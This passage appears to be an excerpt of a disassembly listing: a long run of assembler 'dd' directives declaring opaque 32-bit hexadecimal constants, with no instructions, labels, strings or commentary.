		dd 0A2445421h, 0A80502F1h, 0C8298CDAh, 94802573h, 49359964h
		dd 80824AE9h, 2B5ABB89h, 87039306h, 0B0064EF3h,	0B89540E4h
		dd 0A200967Ah, 5C3357Ah, 2F737C4h, 1F102DD0h, 0B86175F6h
		dd 0A8852B52h, 0E8D342ECh, 0B3DFA10Ah, 565E5702h, 25742E08h
		dd 0BB393640h, 0EE31480Ch, 5A64545Dh, 7F16CAC4h, 0CE813D41h
		dd 5451DF6h, 0A9D7F041h, 2DC0649Dh, 0ABD3FAC3h,	0C023DD6Bh
		dd 8A16F829h, 78BEB103h, 7672E93Dh, 0DECA63CBh,	0A01205C8h
		dd 87108248h, 0B997B103h, 312BEFB2h, 0B7176Ch, 9F2D2768h
		dd 0D23B3318h, 9C058824h, 0E3215D0Bh, 807C9BAAh, 96961134h
		dd 5A54092Ah, 10F91C8h,	315B2Dh, 687A5764h, 0D7F555E9h
		dd 0E835FBF9h, 723D9001h, 39C8A42Eh, 0CF010DC2h, 1367D559h
		dd 70B8B033h, 61050717h, 504DB309h, 2D2B1EBCh, 0C9CE2B7h
		dd 14D36407h, 0D842CA49h, 8256A765h, 8B0E7B35h,	5A825EF3h
		dd 0A1FFC15Dh, 0AFA5132Bh, 6550463h, 6A615758h,	1A0EBC65h
		dd 3649B258h, 1850EDB8h, 9E03D1FFh, 8268D58h, 0F87E0096h
		dd 0F68EDAAh, 1DED675Ah, 0F24F03C5h, 7F9B6FA2h,	75EABDD3h
		dd 4E9D81FEh, 685C00D5h, 4C69BDE2h, 4BF33886h, 0FBB48FECh
		dd 3AD22184h, 5800D45Eh, 0C29E5AAFh, 0CEE61C79h, 0A7681519h
		dd 0E9171802h, 0C24AE12Dh, 13580195h, 6AE0C69h,	9F083823h
		dd 403A5040h, 0DD3E2D33h, 4D8210ADh, 1857C319h,	818C3E8h
		dd 931849EAh, 0AF08C4D9h, 70940453h, 2817BE06h,	101828A3h
		dd 74088479h, 0C89080ECh, 80C2CA80h, 0F480E2E8h, 738C460h
		dd 59380C62h, 8AFA40C1h, 40C08C40h, 8B625F63h, 3805E10h
		dd 810ABB3h, 3F10DB12h,	98BB10ACh, 18E9D710h, 53386109h
		dd 7D2A807Ch, 8097F180h, 5C808660h, 211880D3h, 911A30C4h
		dd 10253706h, 318FEB20h, 1B08F0FCh, 0C07407EEh,	19BAD01Fh
		dd 733183B9h, 1B810888h, 20A3640Dh, 0E50204C9h,	4ED69CA3h
		dd 747A0819h, 3001B279h, 0FE088C99h, 0C4251835h, 0C2BA811h
		dd 408C5156h, 0B963D13Bh, 31F1C610h, 3DE12508h,	1A7301B3h
		dd 70BA288Ch, 85403508h, 50D8A863h, 294280A5h, 117918CCh
		dd 0E90A4080h, 8A7801F3h, 0D6E20888h, 2071200Dh, 0F61066B1h
		dd 0FEA999FCh, 0EC576608h, 6621C13Ch, 21FD08DCh, 20C73820h
		dd 71204E1Ch, 50D449EDh, 26C90C31h, 0F6BE0152h,	61A00888h
		dd 281E8B0Ch, 5759CCF8h, 7E622549h, 2D98918h, 9B05EAE8h
		dd 74E4985Dh, 88D2288h,	400860ABh, 0A77308C6h, 87E6708h
		dd 0CA0C861Eh, 40550863h, 3740D950h, 206492D3h,	16316DBFh
		dd 0F3FB185Fh, 38FDC01h, 3108CE12h, 9D202DC5h, 482102D5h
		dd 80723BD4h, 0D1810326h, 40716424h, 6440DC39h,	0AB01F3B4h
		dd 963A017Fh, 155E301h,	0EB032A41h, 8F63F110h, 98F8A024h
		dd 0CC216998h, 880710C4h, 476DA04h, 0D01C5B78h,	0DFCE18B7h
		dd 81E3B108h, 2018C708h, 33083029h, 4618C6A2h, 44A85154h
		dd 0AF80668Bh, 0E6ED8098h, 676808C4h, 401D6C06h, 86A0532h
		dd 0EBECA509h, 7C66CC46h, 786E2008h, 203AD520h,	0E0318AF8h
		dd 564F30D8h, 12C0088Ch, 73408B18h, 8A01EBD4h, 58890161h
		dd 1BF3001h, 2013EE0h, 0AEF10260h, 0FC9CE2A0h, 94A464E8h
		dd 44E10C99h, 0C8F1C7D7h, 3B8041F9h, 752C0347h,	8913EB02h
		dd 0A7B90E1Bh, 22C0D53Dh, 408F44h, 75C90B49h, 24748BF7h
		dd 3DED0E3h, 1B9F018h, 0F0C03331h, 4FB11A0Fh, 37F2C30h
		dd 0CC4C6835h, 0A61635A3h, 8618E94Eh, 4F124086h, 0A018F952h
		dd 0C0091FE9h, 0ED815C26h, 0F73B42A8h, 17C51767h, 0CA3C880Bh
		dd 1C080DE4h, 80AB1405h, 5C48D709h, 90017A5Fh, 0BA52EB29h
		dd 0C0AF0B45h, 6CE95DA0h, 0B2012C2Fh, 8942C07Fh, 0F70CC270h
		dd 467D42D2h, 9F2ECDBh,	70180C26h, 962F4AF1h, 0A1B8077Eh
		dd 89290D82h, 0F9A496DFh, 25AB8B7Bh, 521A9031h,	9F4330E9h
		dd 0A0F58118h, 0D6626DECh, 73DB5CA2h, 842D8027h, 0E96C3A54h
		dd 149DA237h, 6299C98Eh, 0A7C35D2Fh, 12255F7Bh,	0C1C893E5h
		dd 86453E32h, 4603AF81h, 62BF0C87h, 0E160B463h,	18C6B578h
		dd 29543801h, 0C2EC623Ch, 82679C5Ah, 67E8174Ah,	26DFEBE0h
		dd 40E32FC0h, 0C17DF051h, 0C1714324h, 0C48FFA3Fh, 0B82F3592h
		dd 685705B0h, 5ECD41EFh, 270872E0h, 85C63612h, 1DBB64B7h
		dd 98646F2Ah, 51380E41h, 890BC912h, 0B3F75880h,	30402F43h
		dd 6852FDE0h, 600A9F09h, 3E1C5707h, 0AD3D2B05h,	47AF0936h
		dd 0D26D6314h, 0F7D43196h, 6AA7732Fh, 41A08D64h, 53311CD8h
		dd 5B93109Fh, 0E9DF0901h, 30DE224Eh, 36452581h,	62F097Fh
		dd 1C8205CBh, 4B59BB05h, 87FB43A2h, 339BD262h, 89765A4Ah
		dd 0A31E8602h, 4F2903Dh, 0BBF1B7C5h, 8DAF02E4h,	12DE6DE6h
		dd 2C29624Bh, 539EC57Eh, 0E328EC14h, 383A2055h,	795B988h
		dd 789F297Ah, 4001BD83h, 7B0144BAh, 74E5EE20h, 0EC424AE8h
		dd 2A7B09D6h, 56300909h, 9CFC8387h, 0C1FDD88h, 30DFFF71h
		dd 4D4C900h, 2AE94C35h,	7A93AEEh, 0F7801AB7h, 57A5B533h
		dd 0BB1387BDh, 800EBA75h, 3F1AB65Fh, 0FAE9101Fh, 62698766h
		dd 41FB5ABCh, 18E03FE5h, 0EDCE5B01h, 1369C465h,	1C50E0A3h
		dd 0FC711F03h, 0F168D379h, 8AF73A1Eh, 21DE29C5h, 0A50931D7h
		dd 689A5DB8h, 7D6392F5h, 0A8A48667h, 54ECE978h,	1351C993h
		dd 3770C668h, 2D5280D0h, 5A4E5B19h, 5A3B9DE0h, 0E07DAC13h
		dd 0E10FC580h, 60D0E9CCh, 0BF681435h, 0D7AB867h, 0E6B45E2Fh
		dd 9E74F291h, 0E487396Fh, 0A33D6D17h, 0DE021B5Dh, 151F3CB9h
		dd 8FE6800Eh, 956B377Bh, 1262C840h, 49612D1Fh, 0B719E981h
		dd 122B0C9Eh, 0B41FA6Dh, 61EC71BFh, 3A0B107Eh, 1868A95Bh
		dd 5F52B7Bh, 606600E8h,	0ACD2D1Bh, 2EEA5437h, 6981533Bh
		dd 6788FD3Eh, 670F40FEh, 0F2BF68EAh, 98ED0BD9h,	1FF49715h
		dd 99A1E904h, 57B388FEh, 0C0694D28h, 0D900EEB4h, 0E9147747h
		dd 28AE6B38h, 0FC0D14DFh, 97F170EDh, 0FF682C56h, 6AD62742h
		dd 689601D3h, 0D8230C33h
		dd 0BB82503Ch, 586BC877h, 8F30EE70h, 0A3B9224Ch, 538E2772h
		dd 0F966610h, 0C7BA430h, 0AFCF1C6h, 27CFE9FDh, 0B2FF25C2h
		dd 4E37F2Bh, 2DC1E09Ah,	1605003Ah, 12F11221h, 5861BB5Eh
		dd 9BA5DDACh, 0F3A6805Dh, 0FC1B9438h, 547C92B9h, 5BCB7BBFh
		dd 4B31B3F9h, 0BF51EB28h, 3B246FEFh, 20685580h,	0C00E2244h
		dd 7B2AED78h, 837637FAh, 1F2AF8B7h, 0D5207C5h, 0C8A0539Ah
		dd 5D5F5BDEh, 0E27E7CB1h, 39520C3Ah, 0CCE32CFh,	2F590D34h
		dd 1E164818h, 88094BE6h, 5C0E10ABh, 4E2E170Fh, 9244B229h
		dd 0EB80A8C0h, 0C7284A5Bh, 98A45F1Dh, 392F336h,	771AFBBFh
		dd 29858C31h, 57E588AAh, 224CB9B0h, 14A28112h, 0A12AC415h
		dd 408082AEh, 0C22C254h, 0E918C73Ah, 0CD7B3B84h, 17665CE0h
		dd 0CD30D316h, 4BB424B2h, 204EF1FDh, 2C78B3B1h,	42E8255Fh
		dd 0B9FB4655h, 0C96FC0E5h, 0D792884Fh, 0DA310996h, 40B35210h
		dd 25BAC7B5h, 55503157h, 7A41392Eh, 0E010F2F2h,	0DB6575FAh
		dd 9624590Bh, 0D9A48301h, 530CA5Bh, 582105EAh, 81F1014Dh
		dd 23C73C36h, 626809B2h, 6914F669h, 8A7F0605h, 18881264h
		dd 0D51A26BFh, 39955976h, 7AA5014Ah, 688F18F7h,	0F01D5957h
		dd 0B1DEB189h, 0CB85B914h, 4520E8CEh, 27949A2Eh, 0DB9A4631h
		dd 4F5FED40h, 602F2327h, 2556FA5Fh, 9B7E6BECh, 0F059A781h
		dd 1A8B2D64h, 0CB507650h, 595B0780h, 1CFC294Bh,	0EC61F012h
		dd 1CAEE5EEh, 1E002576h, 558F21EBh, 3A4A0CC1h, 0C06E3DD9h
		dd 0A1BFE935h, 3D7E5397h, 47C84218h, 79BFFA0Ch,	20D16EDEh
		dd 366CB729h, 4C54BA0Ch, 4197A2A0h, 8B42E84h, 0B37AE766h
		dd 7C5525C8h, 7E8859E9h, 97580DA0h, 70E769C8h, 4C00D782h
		dd 36D46866h, 0AE7331F9h, 4151B18h, 0F84E84D2h,	60575C09h
		dd 94F4347Ch, 12B2627Bh, 20CD7009h, 982965h, 24BC133Dh
		dd 2D8ABA35h, 7909DAACh, 1170705h, 1BFCA279h, 390075AFh
		dd 3E49F78Dh, 0A86BE97Ch, 5A9D33F5h, 8299ED94h,	0B8099E9h
		dd 44011ED6h, 57436A3Eh, 4DCFC02Ah, 224A9720h, 704AC84h
		dd 78F837E9h, 232D5D05h, 15BC11Bh, 6F2B41C6h, 0A7E33F5Ah
		dd 0D979061Bh, 8839FF0h, 0CA29312Eh, 0DBC16712h, 8B6FF328h
		dd 3767485Dh, 0A7F906ACh, 0A59EB6Fh, 5812EDFh, 0A62C6BF1h
		dd 125BB62Ch, 9F5A0523h, 0C0F9C41Ch, 47AEE9A0h,	0DCC183C0h
		dd 0C017A72Eh, 0EB582AD4h, 0D960F77Eh, 7CFD6310h, 2336BCD4h
		dd 78B8019Dh, 601E5D5Eh, 0D307357Fh, 0E963CF4Fh, 0BFFA20EBh
		dd 7AA07402h, 140F2518h, 5EC23E80h, 66504B53h, 86051EEBh
		dd 0BD680377h, 4ACF61BAh, 77CC2E1Ah, 0D2B497Dh,	0ED32E12Fh
		dd 32D5648Bh, 743FC01Eh, 9D3DBAC9h, 0C3603554h,	4BD22263h
		dd 524B52Ah, 16CEB908h,	2DAB5455h, 0B4B47C40h, 1F0423AAh
		dd 6EB59E40h, 388E2512h, 3C41CB01h, 58706C86h, 0D02938Dh
		dd 7E5FCD4Fh, 0FC158CA1h, 816CC0EBh, 5324C2CAh,	0EA0035F2h
		dd 0FDFBF3DEh, 78D65901h, 4B90BDCEh, 0FA13D1E8h, 126D8A5Bh
		dd 2620D030h, 815E55E9h, 0F7743F5Ah, 51B88FAh, 0EC47B440h
		dd 0BD7F5B44h, 91EB861Fh, 0A2DDFE43h, 5CAC49A4h, 0ACF4353Bh
		dd 65997488h, 420F8EA0h, 0C64C382Dh, 39BBB60Dh,	0C3A45BD8h
		dd 5B56101Dh, 5C84CDA9h, 486802FEh, 80BBF97Dh, 76AB7FA5h
		dd 664E5C1h, 0A2346F70h, 496882F5h, 0BF93C617h,	0EDB9359Eh
		dd 3EF3F349h, 0E548EC40h, 6DDE812Ah, 0D3F92F1Ah, 0A960A142h
		dd 119D848Ch, 58A8280h,	57341FEDh, 2DF04A17h, 685E0707h
		dd 766F908h, 1A69C327h,	6A660Fh, 36055BDAh, 0E9015611h
		dd 0EB0E964Eh, 6353DFADh, 493F5B91h, 57E5EF9h, 0C0DDF7F5h
		dd 68D67CD1h, 0EE317302h, 0D11448E9h, 0D91A3C0Ah, 30D54C1Ah
		dd 274FF77Ah, 1E7E48B0h, 0BAF5E947h, 181D23h, 70C5BDA3h
		dd 0EF2174E8h, 0CF4DAAF8h, 0D4674CF9h, 459901C8h, 34E927DBh
		dd 35FEC22h, 501440E8h,	0A03ED2B7h, 0F0106475h,	3AC454E4h
		dd 20319058h, 0B35CCB09h, 66D803B5h, 0DFB2525Bh, 549456E4h
		dd 622724A8h, 0B0676FFEh, 42DB0A19h, 2ECEF8ADh,	1A5620B7h
		dd 18D7B5D5h, 0C941DB72h, 2FE5C88Dh, 544A6804h,	819489FFh
		dd 97B5510Ah, 1FE8C5FEh, 0F0469A3Eh, 60DAA1CAh,	34D41373h
		dd 0A07F7509h, 0A3DC1A82h, 0C3F18000h, 6F82B730h, 34DA0C67h
		dd 83A06C60h, 49557D5Ah, 0B551D229h, 93E80A05h,	0BD70824h
		dd 0C394C46Eh, 7ECA6827h, 23E961FBh, 0D11B8BB8h, 8955D17Ch
		dd 2BDC1F3Ch, 424C9383h, 5082DA54h, 0D6469F56h,	0EB0C3A28h
		dd 0FCB1EABFh, 0F4CE7A2Ch, 0E1E9DD1Ah, 390F7765h, 66D9DF4Bh
		dd 271483A5h, 0C33F5E9Dh, 79D15B87h, 1E86723Ah,	32C04025h
		dd 5850CE81h, 386A76B5h, 0DC987EE6h, 7ABF0C0Eh,	0A7D67263h
		dd 0C3990357h, 2B2308EDh, 0EED60C0Fh, 0DA01465Ah, 154B2462h
		dd 81E89E8Fh, 0A562B35h, 2CF06A22h, 69F73E21h, 0A072C63Ch
		dd 5447E908h, 98E0A2B1h, 0F5FB2F0Dh, 0E932159h,	55996A5Fh
		dd 0B07C92Eh, 3D59EE27h, 3B2BF496h, 0E4A57ED3h,	9C2B18DDh
		dd 0F4D8221h, 930C763Bh, 167CAA2Dh, 9BD89ACEh, 92FA9F9Ch
		dd 0BA094003h, 627D3FB0h, 738E58BDh, 0D6890629h, 542E15E9h
		dd 8BA9D9B7h, 78A043D1h, 84188A05h, 8327657Bh, 2BC92053h
		dd 9071426Ah, 1062762h,	92534F27h, 764890A2h, 801C97B4h
		dd 0CCC533C4h, 80BC6687h, 0E5FC4870h, 11EC387Eh, 140CE224h
		dd 0A2501B99h, 915400Fh, 273BE0B7h, 7D45B210h, 213B390h
		dd 0F0D8DEF9h, 0DF03427Fh, 0C82688C7h, 0E85B4910h, 0F456C44Ah
		dd 4E8AC4FDh, 0B80B389Dh, 25FE5FA1h, 4404A16h, 0A848E7BDh
		dd 4D504C04h, 335BA133h, 0A45A4758h, 5E8698BEh,	0D223E6B6h
		dd 0C028891Ah, 2E3EE401h, 10243F36h, 21FC4F9Ch,	127893Eh
		dd 546BF47Eh, 92B02DFCh, 0C31E8EAh, 5AD352D6h, 0CD8F903Eh
		dd 1A60EB5Dh, 1D46860Ch, 0EF1803Fh, 0F20A1E20h,	0EA49278Ch
		dd 710D6AF4h, 9C2F60A6h, 5709B36Dh, 0D6490314h,	63C101EDh
		dd 0A85B6F2Dh, 442D450Ch, 0E91D01E5h, 0B6A036B4h, 1F37209Fh
		dd 68575601h, 662A0A39h, 0C09A87F0h, 2C43BE18h,	892D0BFDh
		dd 59CD76F1h, 6E3125B3h, 67ECC464h, 0E59B53C9h,	0A9FDEAB2h
		dd 2DFB951Ch, 8ED6E5Eh,	7F65DD7Fh, 6AD03E0h, 0BD0ACD30h
		dd 29240BB1h, 9822F7D5h, 43016895h, 1A469D5Ch, 761D8C25h
		dd 6C77D83Ch, 9FB20CC7h, 5FBCFF72h, 8DE15B92h, 6298F057h
		dd 36F0F9CCh, 53975AF6h, 30A5046Ch, 57050015h, 24C2D674h
		dd 486BC729h, 250F09C3h, 2DF36048h, 7671BC25h, 0C4F2CE41h
		dd 0C305ABCDh, 69EEC781h, 0E5A82B2Eh, 442CFAD6h, 0C390535Ah
		dd 92C1FC5Ah, 1CF58DAFh, 0A95CD1F4h, 7210816Fh,	0C02E2D44h
		dd 2856DF62h, 0CBBEE939h, 5BA3341h, 73ED1404h, 8A4B127Ah
		dd 2A644E1Bh, 0F72E8CE3h, 32D7090Fh, 798DA251h,	5739600Dh
		dd 57190B4Ch, 0DCE025A8h, 0ED3D914h, 5CA1FEB2h,	1BA37A5Eh
		dd 0B21FA84Fh, 13F7C96h, 431ACFBDh, 1C6BE80Eh, 515014C1h
		dd 0E6E4A6B1h, 0EF65C194h, 70157869h, 0CB65B363h, 0C42DFEEBh
		dd 0B67A6520h, 55457Eh,	0C4209C8Fh, 0FD62894Ch,	41565FE3h
		dd 844D95D2h, 0AA07862Ch, 0F233D874h, 5848CA01h, 8AA0DF31h
		dd 73F73B13h, 20AF48D5h, 0B57BE9A5h, 727E42B6h,	1F61D054h
		dd 0E9C42E47h, 0FD4097A8h, 1E120FBDh, 4C011760h, 26AF7D01h
		dd 0FA09002Ah, 0D521F818h
		dd 1CFA5F82h, 0A9A04D5Ah, 0BFE932F9h, 0A442EE9Eh, 0C56893E1h
		dd 0C1AD284Eh, 5813C13h, 1BF7EBC8h, 0C22E60Bh, 0C5351BB8h
		dd 31098298h, 8008C94Eh, 42DBF52h, 29205A45h, 0D36760BBh
		dd 78C50913h, 0CB9A40FBh, 6D520F1Dh, 1C3D2BFh, 6A9506F9h
		dd 2E34C0E9h, 6813E8E2h, 0AB0384C9h, 6349F2E6h,	132DEA4Ah
		dd 0C160A63Fh, 0B212E95Ch, 0F0EFF951h, 6342A52Ah, 9CFF509Dh
		dd 83246E5Fh, 11E2081h,	52C2AD2Ah, 0E168C2F1h, 2B98FD07h
		dd 99B67E5Fh, 916DB483h, 540C042Eh, 0D2480D1Eh,	1BF8291Ch
		dd 3F556809h, 8417032Dh, 0F33B034Bh, 5A1E0423h,	5A1A440h
		dd 5075F6C1h, 806E06C4h, 40B19AF4h, 7AE9A509h, 0BE545A18h
		dd 4CFCC908h, 0E9090211h, 446AB806h, 0F60A6154h, 0BF806841h
		dd 277C7D73h, 0C2A0C14Fh, 9C1B2A3Bh, 147BC70Eh,	4F062F7h
		dd 7641D1Ah, 0E8E97681h, 83ACC57Ah, 0B6C7BCD3h,	0F105CD85h
		dd 3F644A28h, 4E256DECh, 0F63BE4F0h, 7B99185Dh,	4B0C220Ch
		dd 8C2FF00Ah, 1F1BBE0h,	8C6592E9h, 0F44CC42Fh, 27414490h
		dd 4B468240h, 30E0A0A9h, 456AB66Bh, 0F8F7048Fh,	0D0417EFh
		dd 54091A0Ah, 5917FCC5h, 34F02DBAh, 69122046h, 62FD2C7Eh
		dd 5E31FE92h, 252AB94Dh, 0E87D8054h, 0D99D011Fh, 0D5689C3Eh
		dd 0FF4B5132h, 4BB9BC40h, 906E9B28h, 4A390B8Dh,	287737EAh
		dd 59090890h, 0BA6A855Fh, 806B7EB1h, 0FB79B8A3h, 0EE813D0Ah
		dd 0C50206B4h, 0E02C03DCh, 2FE9F50Ah, 0A0D4BFF7h, 9A6E7D72h
		dd 0D1C8E915h, 6C901DFh, 687AB22Ah, 24AA23A0h, 0C01A1213h
		dd 41660282h, 535BC0BDh, 207226E9h, 40778F7Dh, 0A4C3350Ah
		dd 49D01282h, 9EFF660Eh, 16681763h, 4FE3F675h, 60495C22h
		dd 0E500E3Ah, 2B54B6B8h, 3FE20D40h, 0F73B0893h,	1B4984D0h
		dd 0C9EA3141h, 0E90511FBh, 4B3E2CEDh, 5D25B4ACh, 17CDEA5Eh
		dd 6F83CD6Fh, 52788DA2h, 680B5E54h, 65B07D57h, 0C5C42B2Eh
		dd 29EE3147h, 73CB3F54h, 56685E05h, 0FF795215h,	0C07548Ah
		dd 0E01A2B3Bh, 0E23A3FF5h, 0CD7F6876h, 65FE0802h, 5F7666E9h
		dd 0EC95EBECh, 0C29D4A80h, 0ECDD5976h, 4F56FA25h, 0F7322193h
		dd 8753E8D1h, 0DEA51991h, 0DC20805Dh, 0DE018BBFh, 8F312FA6h
		dd 1AC5FBE4h, 0E7C69838h, 0F81D99C9h, 300E222Dh, 1A17A03Ch
		dd 0F6E95AABh, 0FE22C037h, 1EC80C4h, 0FD12F4E6h, 0F716D486h
		dd 575AA6C2h, 2E28AD3h,	65BAFD9h, 90F413F9h, 74B90F2Dh
		dd 987C18C5h, 32BEADABh, 0A2805DB3h, 0BA664245h, 0BF5C1798h
		dd 4FF8ECA6h, 0F2590EAAh, 80FA2E0h, 3703A12Dh, 9BE92A75h
		dd 564824D0h, 77281BFEh, 0F45E6020h, 0A106189h,	314C37BBh
		dd 40ED25E7h, 2F927AF9h, 0A968CF1Fh, 0C9CAB6AEh, 0FEB61030h
		dd 308C24B5h, 0A76D1FE7h, 5733D620h, 9B805978h,	1AD52D45h
		dd 86918FB0h, 0DCE72FC0h, 0B8750C78h, 0EFC12C3Eh, 0CA84396Bh
		dd 0AB4BA160h, 0C0914383h, 4BE9716Ch, 5F510946h, 5665017Ch
		dd 0ED4360EBh, 0A32631F8h, 3E24362Bh, 78FF0820h, 8CBFB517h
		dd 4D43AC9Ah, 0A9BAB412h, 0C3D2DE67h, 4B05CB80h, 0EA6D722Dh
		dd 0E22E137Ah, 0C4570B30h, 1D90C468h, 0FACD8780h, 1BB16360h
		dd 0CA93D130h, 3396BBD1h, 4AB4CC1h, 131E578Dh, 81C900EBh
		dd 6B0936E1h, 325F60FDh, 1BCF0A12h, 861505BBh, 62A09719h
		dd 147FECCBh, 8A5FEA35h, 590C75DCh, 444CC76Eh, 550FD432h
		dd 695D3481h, 0F57D2BE4h, 0E919661Eh, 0AD169216h, 0DFF9E92Ah
		dd 332C3FCBh, 171AC9E9h, 0B0EB8E64h, 9337502Bh,	598D40CFh
		dd 0F75C59C2h, 7B7155D5h, 0D80C2D26h, 0B0C78FD6h, 29D3241Fh
		dd 0A7D0710h, 0B65B354Ch, 0C0CC488Ah, 0F45E05C7h, 0FE91808h
		dd 0E1EE830Ah, 0D8FCDE12h, 0C53781BAh, 7DC8358Fh, 0E376485Dh
		dd 6794E866h, 0A779845h, 71A7315Ch, 81371ED7h, 0B3E959F8h
		dd 89D97E6Dh, 7F942082h, 0D4407A1Dh, 18E06FA8h,	0DFD2F724h
		dd 0A3F00712h, 538938C2h, 0AE5380DFh, 5A17178Dh, 0A9B2D101h
		dd 0A696D926h, 39B17B1h, 9FBB5589h, 0EFD0B4Fh, 0CADE901h
		dd 7A011686h, 80041F1h,	5A65685Bh, 8825B37Eh, 20D822F1h
		dd 7A1237Dh, 4C77276h, 2C8B57F7h, 0DD26DA3h, 7B10A228h
		dd 5A307C8Fh, 85C2E9CFh, 87626DB6h, 0B592672h, 5341CB98h
		dd 3DCEB889h, 0CCB36218h, 0B9B23AE1h, 95765713h, 890F8140h
		dd 0DAC07A7Bh, 0C427C868h, 17948E51h, 53EE62ABh, 0D7A66257h
		dd 0E9C14965h, 562A3979h, 1CD916F8h, 0A8A7D22Eh, 7A79C496h
		dd 44FD88BFh, 7E976113h, 0FAD052BBh, 0EC50A38Ah, 26781395h
		dd 8706AE48h, 4A1AAC19h, 0A0B9A254h, 483A2968h,	4E7698F3h
		dd 849FA9AAh, 8803E5D8h, 2C9B5AD5h, 853F59F3h, 0DB7C2568h
		dd 0FCAF8844h, 0D53B2D01h, 0C02B5E10h, 469F6873h, 5F11EB09h
		dd 55224831h, 36D334E9h, 408B02C9h, 8C8513A9h, 57D8CA2h
		dd 98BE7CB4h, 0F877BC7Eh, 0B7E29D5Fh, 571DFD0h,	55CB591Dh
		dd 228F4CBEh, 0B0E65CEFh, 0EE8F302Dh, 0EDF505A5h, 8EA0453h
		dd 88B23284h, 2F10D090h, 0C6800B0Fh, 290C8990h,	43A759DFh
		dd 2B1ED209h, 720B47C2h, 0AD94FD28h, 16D50135h,	94E53CEDh
		dd 5AA2BBD5h, 0B840FB39h, 874E5409h, 6010D116h,	54CF1E4Ah
		dd 95FE916h, 15023891h,	72E2BB04h, 8051648h, 9014AE62h
		dd 25B0E916h, 8FB479Fh,	490C87h, 955BFE22h, 80E91863h
		dd 0A2EAD1A8h, 7C125A19h, 0B100C34Ah, 0C139809Ch, 0C2CED36h
		dd 0CCECC001h, 7540EF4Dh, 0ED0E2B55h, 3AB04883h, 0CAB030DEh
		dd 0C6242A45h, 0FB00A81Ah, 423DA264h, 9FE92D51h, 0FF5A8804h
		dd 4C7DABC8h, 28A12358h, 66A9D8F0h, 27845A4Ah, 0F9AFEC04h
		dd 0C9D860Ah, 5A0BD2F6h, 89EA8007h, 462D028h, 4A2AD9B9h
		dd 709D19E0h, 0F3AA14BFh, 0F191927Bh, 647D5796h, 110D2905h
		dd 8A91FA79h, 0B3DCB07Ah, 0E8DA20E9h, 28E7D139h, 930A8CEFh
		dd 806B3B5Ah, 7356851Fh, 33864A04h, 98775DA9h, 0EDF7C057h
		dd 305825ACh, 26A13AE5h, 0B427B7FCh, 0E8D769D3h, 2479C61Eh
		dd 5267D22h, 86501CEEh,	520294B6h, 315AE9CEh, 72E1F5F5h
		dd 7508FFFh, 408D8956h,	0A3D1F703h, 2E1DB83h, 5CD4C753h
		dd 8F035BAh, 3FD2AE1h, 2EB768F1h, 605D73A4h, 0B6CD4BE4h
		dd 7E60195Ch, 1A71580Ch, 60539C69h, 4D5B2CBAh, 0DA870514h
		dd 2D07209Fh, 0E2D0C480h, 0E7285C12h, 0B26A1DBEh, 0E9013312h
		dd 2D8396F9h, 0FE8841EFh, 96679CD1h, 8495F37Dh,	1B198B16h
		dd 0A0DCE2C9h, 0EB3BC437h, 0DFA3BE68h, 54143616h, 3C653A3Bh
		dd 5DE2B042h, 0A04C16B5h, 306F6676h, 10C762Fh, 4F4BE037h
		dd 8417BB9h, 0A0140CA0h, 3063A921h, 43346122h, 1D5C7C14h
		dd 0B43E5849h, 11027B84h, 0EAAE3CE9h, 345D869Bh, 8AE50FEFh
		dd 68624E15h, 55713BE8h, 0D4174580h, 5B58E906h,	0D3578029h
		dd 13480D6Bh, 0DFF71751h, 508840EAh, 1927E37h, 0DE94A7A1h
		dd 0A5E1E755h, 854949D4h, 4DC81D3Ah, 7B237C03h,	63F62526h
		dd 91C11E13h, 14413F17h, 10A40A20h, 5671E02Fh, 0DD68501Ch
		dd 0F8701AC9h, 4D2D05DBh, 821F7B5Ch, 0CD67661h,	0B098167Ah
		dd 358C5095h, 0AB6F13EDh, 0F1A10B61h, 16B027E4h, 0F738AA0Bh
		dd 0AEE9863Bh, 4562B50Dh, 60D322D5h, 0C39EDD9Ch, 841B1801h
		dd 3E6C178h, 6DBF20h, 5C34B6Ah,	20DC5067h, 624D409Fh, 63019C1Bh
		dd 4B0EA215h, 5CFB68E5h, 3194DF25h, 0CA8E4025h,	0B04FA278h
		dd 74A35FF0h
		dd 384FF21Ah, 0EF922DE2h, 25E981D8h, 20E41FE5h,	1165F4F0h
		dd 63C7D621h, 6B85B69Fh, 86896BEh, 2B24F998h, 606B2761h
		dd 9A1CE983h, 874B25BDh, 0AD5160E0h, 0F6BEEA27h, 0D702797h
		dd 7F7D6917h, 29566E00h, 5577CCBh, 25C1E7BFh, 4079B8C3h
		dd 7217359Ch, 4FE0832h,	140E2CFAh, 0F0AC1771h, 0E78D39Dh
		dd 8870337Eh, 0EFB9D7C5h, 0EDDC256Fh, 0F0463BE2h, 6225CA0Dh
		dd 0F83E50CBh, 0EA09380Ah, 2BA8B40h, 0D54CB779h, 81002665h
		dd 97456ECEh, 0E9460B05h, 0ECA0A3E6h, 40836857h, 5F769F13h
		dd 308C91BBh, 0D0B23EEEh, 7FDAEA1Ah, 70310382h,	81D45707h
		dd 0A32A65F1h, 0A3BC5EF1h, 40591D10h, 1B5C05F1h, 0D681A43Fh
		dd 8A3BF254h, 7F255014h, 0C766CBF9h, 5B1C2D6h, 0A94642BBh
		dd 0AAC0FA11h, 120DE408h, 0F61F9DE9h, 0C6854A11h, 226853B4h
		dd 8E4A27CAh, 2EC03484h, 1BD85B66h, 0DAF78950h,	7B5E0DFCh
		dd 81C4B501h, 0E812EF04h, 9AAC7F07h, 3180FDD5h,	26F03669h
		dd 0A03C0134h, 60EB9008h, 55CDCE6h, 0A3A4CBFh, 760C8418h
		dd 0D8F11D98h, 115A0707h, 0EAD5E91Eh, 145768Ah,	1219F880h
		dd 0D9210D59h, 3A402EB8h, 0E1599F58h, 659C5DEBh, 0CC2A482Dh
		dd 0B4A4A808h, 43C7B758h, 4C00DB24h, 0D158B576h, 1A3500E8h
		dd 0D0F8D5Ah, 3D2D6301h, 4DD722Ah, 0D9733C80h, 0C3BA8421h
		dd 0CC09F342h, 0F708EFC1h, 95B400AEh, 0FA693A07h, 0E0D7B611h
		dd 14874E6h, 88EB03B3h,	0E6B9B42h, 62DE840Ch, 1010EAD2h
		dd 367C048Bh, 40C26A27h, 42076A0Bh, 0A4C7DDA8h,	4237E98Bh
		dd 8A72559Bh, 42582D21h, 0BF00E490h, 0F6EA6947h, 3048BF21h
		dd 41F314DCh, 6E0732A1h, 97856E27h, 4968D342h, 17AC6C48h
		dd 0AE8527C3h, 36BA5E00h, 2D10A553h, 904059E9h,	0C41E4635h
		dd 0C589C999h, 0DDFB2952h, 0A804A104h, 0CAB812AEh, 0F7498809h
